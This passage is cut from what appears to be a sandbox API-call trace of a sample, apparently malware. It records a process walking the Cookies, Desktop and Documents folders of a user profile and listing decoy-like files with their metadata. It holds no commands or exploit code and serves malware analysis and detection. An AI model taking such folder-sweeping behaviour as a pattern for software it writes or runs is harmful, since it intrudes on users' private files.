ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0117.275] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.275] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.275] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.275] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.275] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0117.275] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.275] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.275] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.275] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.275] PathFindFileNameW (pszPath="") returned="" [0117.275] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0117.275] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61472e8 | out: hHeap=0x35b0000) returned 1 [0117.275] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.275] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.275] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.275] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0117.276] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.276] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.276] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.276] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.276] PathFindFileNameW (pszPath="") returned="" [0117.276] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7e96c970, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x7e96c970, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.276] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61472e8 | out: hHeap=0x35b0000) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7e96c970, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x7e96c970, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba5180, ftCreationTime.dwHighDateTime=0x1d56c59, ftLastAccessTime.dwLowDateTime=0x7352e800, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x70f08e00, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0xf5c17, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2B74.TMP.EXE.exe", cAlternateFileName="2B74TM~1.EXE")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafa4bb70, ftCreationTime.dwHighDateTime=0x1d4d547, ftLastAccessTime.dwLowDateTime=0x55a1daf0, ftLastAccessTime.dwHighDateTime=0x1d4cf24, ftLastWriteTime.dwLowDateTime=0x55a1daf0, ftLastWriteTime.dwHighDateTime=0x1d4cf24, nFileSizeHigh=0x0, nFileSizeLow=0x17ec9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="73vID7uoOX7691K_8lf.flv", cAlternateFileName="73VID7~1.FLV")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b1b8350, ftCreationTime.dwHighDateTime=0x1d4ceb1, ftLastAccessTime.dwLowDateTime=0x585d3960, ftLastAccessTime.dwHighDateTime=0x1d4c72c, ftLastWriteTime.dwLowDateTime=0x585d3960, ftLastWriteTime.dwHighDateTime=0x1d4c72c, nFileSizeHigh=0x0, nFileSizeLow=0xcf56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="93DUD_DP1S6Odp.m4a", cAlternateFileName="93DUD_~1.M4A")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ba665b0, ftCreationTime.dwHighDateTime=0x1d4d2a4, ftLastAccessTime.dwLowDateTime=0x332ae5c0, ftLastAccessTime.dwHighDateTime=0x1d4ce4d, ftLastWriteTime.dwLowDateTime=0x332ae5c0, ftLastWriteTime.dwHighDateTime=0x1d4ce4d, nFileSizeHigh=0x0, nFileSizeLow=0x14836, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ac94nmxutgBcO_sO.mkv", cAlternateFileName="AC94NM~1.MKV")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8a4ea0, ftCreationTime.dwHighDateTime=0x1d4cc6a, ftLastAccessTime.dwLowDateTime=0xe8466690, ftLastAccessTime.dwHighDateTime=0x1d4d20e, ftLastWriteTime.dwLowDateTime=0xe8466690, ftLastWriteTime.dwHighDateTime=0x1d4d20e, nFileSizeHigh=0x0, nFileSizeLow=0x8abe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AVR2QWSJN.m4a", cAlternateFileName="AVR2QW~1.M4A")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcba1ced0, ftCreationTime.dwHighDateTime=0x1d4d0c9, ftLastAccessTime.dwLowDateTime=0xc568f570, ftLastAccessTime.dwHighDateTime=0x1d4cd68, ftLastWriteTime.dwLowDateTime=0xc568f570, ftLastWriteTime.dwHighDateTime=0x1d4cd68, nFileSizeHigh=0x0, nFileSizeLow=0x32ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bPwpx4 hRUfmt26EN U.m4a", cAlternateFileName="BPWPX4~1.M4A")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ec19e0, ftCreationTime.dwHighDateTime=0x1d4d332, ftLastAccessTime.dwLowDateTime=0xf4390f00, ftLastAccessTime.dwHighDateTime=0x1d4cef0, ftLastWriteTime.dwLowDateTime=0xf4390f00, ftLastWriteTime.dwHighDateTime=0x1d4cef0, nFileSizeHigh=0x0, nFileSizeLow=0x1125b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CE eygFl g2Xt.mp3", cAlternateFileName="CEEYGF~1.MP3")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62619900, ftCreationTime.dwHighDateTime=0x1d4d088, ftLastAccessTime.dwLowDateTime=0x9d85c670, ftLastAccessTime.dwHighDateTime=0x1d4d117, ftLastWriteTime.dwLowDateTime=0x9d85c670, ftLastWriteTime.dwHighDateTime=0x1d4d117, nFileSizeHigh=0x0, nFileSizeLow=0xa4e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ERSLB.bmp", cAlternateFileName="")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96a03fc0, ftCreationTime.dwHighDateTime=0x1d4c7cb, ftLastAccessTime.dwLowDateTime=0x309fc580, ftLastAccessTime.dwHighDateTime=0x1d4c6e3, ftLastWriteTime.dwLowDateTime=0x309fc580, ftLastWriteTime.dwHighDateTime=0x1d4c6e3, nFileSizeHigh=0x0, nFileSizeLow=0x11f1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FhmDa9mexQyl2j5W.jpg", cAlternateFileName="FHMDA9~1.JPG")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f50c280, ftCreationTime.dwHighDateTime=0x1d4ca60, ftLastAccessTime.dwLowDateTime=0x71ab9b50, ftLastAccessTime.dwHighDateTime=0x1d4d1b3, ftLastWriteTime.dwLowDateTime=0x71ab9b50, ftLastWriteTime.dwHighDateTime=0x1d4d1b3, nFileSizeHigh=0x0, nFileSizeLow=0x1779b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FPcskdkXDA2.gif", cAlternateFileName="FPCSKD~1.GIF")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e6d30, ftCreationTime.dwHighDateTime=0x1d4ce97, ftLastAccessTime.dwLowDateTime=0xae2cfb40, ftLastAccessTime.dwHighDateTime=0x1d4d515, ftLastWriteTime.dwLowDateTime=0xae2cfb40, ftLastWriteTime.dwHighDateTime=0x1d4d515, nFileSizeHigh=0x0, nFileSizeLow=0x7ede, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I0kpPdyNQrVUZUse2i.doc", cAlternateFileName="I0KPPD~1.DOC")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39590f10, ftCreationTime.dwHighDateTime=0x1d4d061, ftLastAccessTime.dwLowDateTime=0x7df54800, ftLastAccessTime.dwHighDateTime=0x1d4d043, ftLastWriteTime.dwLowDateTime=0x7df54800, ftLastWriteTime.dwHighDateTime=0x1d4d043, nFileSizeHigh=0x0, nFileSizeLow=0x94da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IA6oM qudfY.doc", cAlternateFileName="IA6OMQ~1.DOC")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f322b80, ftCreationTime.dwHighDateTime=0x1d4d4a1, ftLastAccessTime.dwLowDateTime=0x6251d8a0, ftLastAccessTime.dwHighDateTime=0x1d4d027, ftLastWriteTime.dwLowDateTime=0x6251d8a0, ftLastWriteTime.dwHighDateTime=0x1d4d027, nFileSizeHigh=0x0, nFileSizeLow=0xc8d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K3H_YJ9Dlj 2XD.swf", cAlternateFileName="K3H_YJ~1.SWF")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf562f00, ftCreationTime.dwHighDateTime=0x1d4d0a1, ftLastAccessTime.dwLowDateTime=0x69cae790, ftLastAccessTime.dwHighDateTime=0x1d4cadf, ftLastWriteTime.dwLowDateTime=0x69cae790, ftLastWriteTime.dwHighDateTime=0x1d4cadf, nFileSizeHigh=0x0, nFileSizeLow=0xab3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K7kimO.bmp", cAlternateFileName="")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb648be0, ftCreationTime.dwHighDateTime=0x1d4c8bf, ftLastAccessTime.dwLowDateTime=0x45064be0, ftLastAccessTime.dwHighDateTime=0x1d4ca97, ftLastWriteTime.dwLowDateTime=0x45064be0, ftLastWriteTime.dwHighDateTime=0x1d4ca97, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mGWda9.mp3", cAlternateFileName="")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46011050, ftCreationTime.dwHighDateTime=0x1d4c599, ftLastAccessTime.dwLowDateTime=0x9c760530, ftLastAccessTime.dwHighDateTime=0x1d4cdd7, ftLastWriteTime.dwLowDateTime=0x9c760530, ftLastWriteTime.dwHighDateTime=0x1d4cdd7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MnXmRfGpxPOeczS", cAlternateFileName="MNXMRF~1")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x880cb480, ftCreationTime.dwHighDateTime=0x1d4c595, ftLastAccessTime.dwLowDateTime=0x51e14f50, ftLastAccessTime.dwHighDateTime=0x1d4d17b, ftLastWriteTime.dwLowDateTime=0x51e14f50, ftLastWriteTime.dwHighDateTime=0x1d4d17b, nFileSizeHigh=0x0, nFileSizeLow=0x15b3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pV3yVe.avi", cAlternateFileName="")) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46da0240, ftCreationTime.dwHighDateTime=0x1d4ca1a, ftLastAccessTime.dwLowDateTime=0x1435a5d0, ftLastAccessTime.dwHighDateTime=0x1d4c63a, ftLastWriteTime.dwLowDateTime=0x1435a5d0, ftLastWriteTime.dwHighDateTime=0x1d4c63a, nFileSizeHigh=0x0, nFileSizeLow=0xf276, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RnJF6TCUGQ_2QRhsIz.wav", cAlternateFileName="RNJF6T~1.WAV")) returned 1 [0117.277] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4578cf60, ftCreationTime.dwHighDateTime=0x1d4cbed, ftLastAccessTime.dwLowDateTime=0xa2a99e90, ftLastAccessTime.dwHighDateTime=0x1d4d542, ftLastWriteTime.dwLowDateTime=0xa2a99e90, ftLastWriteTime.dwHighDateTime=0x1d4d542, nFileSizeHigh=0x0, nFileSizeLow=0x7bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s9_5sxP4UTReq1w-S0Dp.jpg", cAlternateFileName="S9_5SX~1.JPG")) returned 1 [0117.277] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46480d0, ftCreationTime.dwHighDateTime=0x1d4cecd, ftLastAccessTime.dwLowDateTime=0xe5f547c0, ftLastAccessTime.dwHighDateTime=0x1d4d589, ftLastWriteTime.dwLowDateTime=0xe5f547c0, ftLastWriteTime.dwHighDateTime=0x1d4d589, nFileSizeHigh=0x0, nFileSizeLow=0xe034, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TQA_umDM14EkRmKehkUw.pdf", cAlternateFileName="TQA_UM~1.PDF")) returned 1 [0117.277] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x496ca210, ftCreationTime.dwHighDateTime=0x1d4d4f1, ftLastAccessTime.dwLowDateTime=0x3b351030, ftLastAccessTime.dwHighDateTime=0x1d4d481, ftLastWriteTime.dwLowDateTime=0x3b351030, ftLastWriteTime.dwHighDateTime=0x1d4d481, nFileSizeHigh=0x0, nFileSizeLow=0x13120, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t_hQ4n.mp3", cAlternateFileName="")) returned 1 [0117.277] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d81330, ftCreationTime.dwHighDateTime=0x1d4cda2, ftLastAccessTime.dwLowDateTime=0x147cdd00, ftLastAccessTime.dwHighDateTime=0x1d4d559, ftLastWriteTime.dwLowDateTime=0x147cdd00, ftLastWriteTime.dwHighDateTime=0x1d4d559, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uiap nVn-UUVgXikA_Du.avi", cAlternateFileName="UIAPNV~1.AVI")) returned 1 [0117.277] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3239a0, ftCreationTime.dwHighDateTime=0x1d4c6e1, ftLastAccessTime.dwLowDateTime=0x3a0ca1f0, ftLastAccessTime.dwHighDateTime=0x1d4d422, ftLastWriteTime.dwLowDateTime=0x3a0ca1f0, ftLastWriteTime.dwHighDateTime=0x1d4d422, nFileSizeHigh=0x0, nFileSizeLow=0xa27e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="un2NZ0.ots", cAlternateFileName="")) returned 1 [0117.277] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70524c00, ftCreationTime.dwHighDateTime=0x1d4d2a7, ftLastAccessTime.dwLowDateTime=0x425e28b0, ftLastAccessTime.dwHighDateTime=0x1d4d05d, ftLastWriteTime.dwLowDateTime=0x425e28b0, ftLastWriteTime.dwHighDateTime=0x1d4d05d, nFileSizeHigh=0x0, nFileSizeLow=0xc9a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vg6XpIzB5IOETRduC0mW.jpg", cAlternateFileName="VG6XPI~1.JPG")) returned 1 [0117.277] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff11410, ftCreationTime.dwHighDateTime=0x1d4cc29, ftLastAccessTime.dwLowDateTime=0xe08003a0, ftLastAccessTime.dwHighDateTime=0x1d4ce92, ftLastWriteTime.dwLowDateTime=0xe08003a0, ftLastWriteTime.dwHighDateTime=0x1d4ce92, nFileSizeHigh=0x0, nFileSizeLow=0x5b3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VX-tXZ7p07rm2KlA.wav", cAlternateFileName="VX-TXZ~1.WAV")) returned 1 [0117.277] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f60610, ftCreationTime.dwHighDateTime=0x1d4c722, ftLastAccessTime.dwLowDateTime=0x6adcaeb0, ftLastAccessTime.dwHighDateTime=0x1d4d440, ftLastWriteTime.dwLowDateTime=0x6adcaeb0, ftLastWriteTime.dwHighDateTime=0x1d4d440, nFileSizeHigh=0x0, nFileSizeLow=0xdc86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yFpkKpBBWpZMakq.jpg", cAlternateFileName="YFPKKP~1.JPG")) returned 1 [0117.277] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f60610, ftCreationTime.dwHighDateTime=0x1d4c722, ftLastAccessTime.dwLowDateTime=0x6adcaeb0, ftLastAccessTime.dwHighDateTime=0x1d4d440, ftLastWriteTime.dwLowDateTime=0x6adcaeb0, ftLastWriteTime.dwHighDateTime=0x1d4d440, nFileSizeHigh=0x0, nFileSizeLow=0xdc86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yFpkKpBBWpZMakq.jpg", cAlternateFileName="YFPKKP~1.JPG")) returned 0 [0117.277] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.277] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.277] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.277] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.277] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.277] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.277] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.277] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.277] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.277] PathFindFileNameW (pszPath="") returned="" [0117.277] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77267d70, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77267d70, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.278] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7d30 | out: hHeap=0x35b0000) returned 1 [0117.278] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77267d70, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77267d70, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.278] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefb7b710, ftCreationTime.dwHighDateTime=0x1d4ccf7, ftLastAccessTime.dwLowDateTime=0x96d1ae80, ftLastAccessTime.dwHighDateTime=0x1d4c914, ftLastWriteTime.dwLowDateTime=0x96d1ae80, ftLastWriteTime.dwHighDateTime=0x1d4c914, nFileSizeHigh=0x0, nFileSizeLow=0x11a83, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="07oX6.docx", cAlternateFileName="07OX6~1.DOC")) returned 1 [0117.278] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa075a810, ftCreationTime.dwHighDateTime=0x1d4c55e, ftLastAccessTime.dwLowDateTime=0x5c1995a0, ftLastAccessTime.dwHighDateTime=0x1d4d544, ftLastWriteTime.dwLowDateTime=0x5c1995a0, ftLastWriteTime.dwHighDateTime=0x1d4d544, nFileSizeHigh=0x0, nFileSizeLow=0x7bbd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0qm3q9iPSe2R.ppt", cAlternateFileName="0QM3Q9~1.PPT")) returned 1 [0117.278] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd30ed340, ftCreationTime.dwHighDateTime=0x1d4c604, ftLastAccessTime.dwLowDateTime=0x93fcae90, ftLastAccessTime.dwHighDateTime=0x1d4c73d, ftLastWriteTime.dwLowDateTime=0x93fcae90, ftLastWriteTime.dwHighDateTime=0x1d4c73d, nFileSizeHigh=0x0, nFileSizeLow=0xd8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2o28EiG.odp", cAlternateFileName="")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ce5210, ftCreationTime.dwHighDateTime=0x1d5649a, ftLastAccessTime.dwLowDateTime=0xf2c85790, ftLastAccessTime.dwHighDateTime=0x1d500ee, ftLastWriteTime.dwLowDateTime=0xf2c85790, ftLastWriteTime.dwHighDateTime=0x1d500ee, nFileSizeHigh=0x0, nFileSizeLow=0x1213e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4uLO0.docx", cAlternateFileName="4ULO0~1.DOC")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6a5970, ftCreationTime.dwHighDateTime=0x1d4d4a0, ftLastAccessTime.dwLowDateTime=0x16f6ef10, ftLastAccessTime.dwHighDateTime=0x1d4cd95, ftLastWriteTime.dwLowDateTime=0x16f6ef10, ftLastWriteTime.dwHighDateTime=0x1d4cd95, nFileSizeHigh=0x0, nFileSizeLow=0xf910, 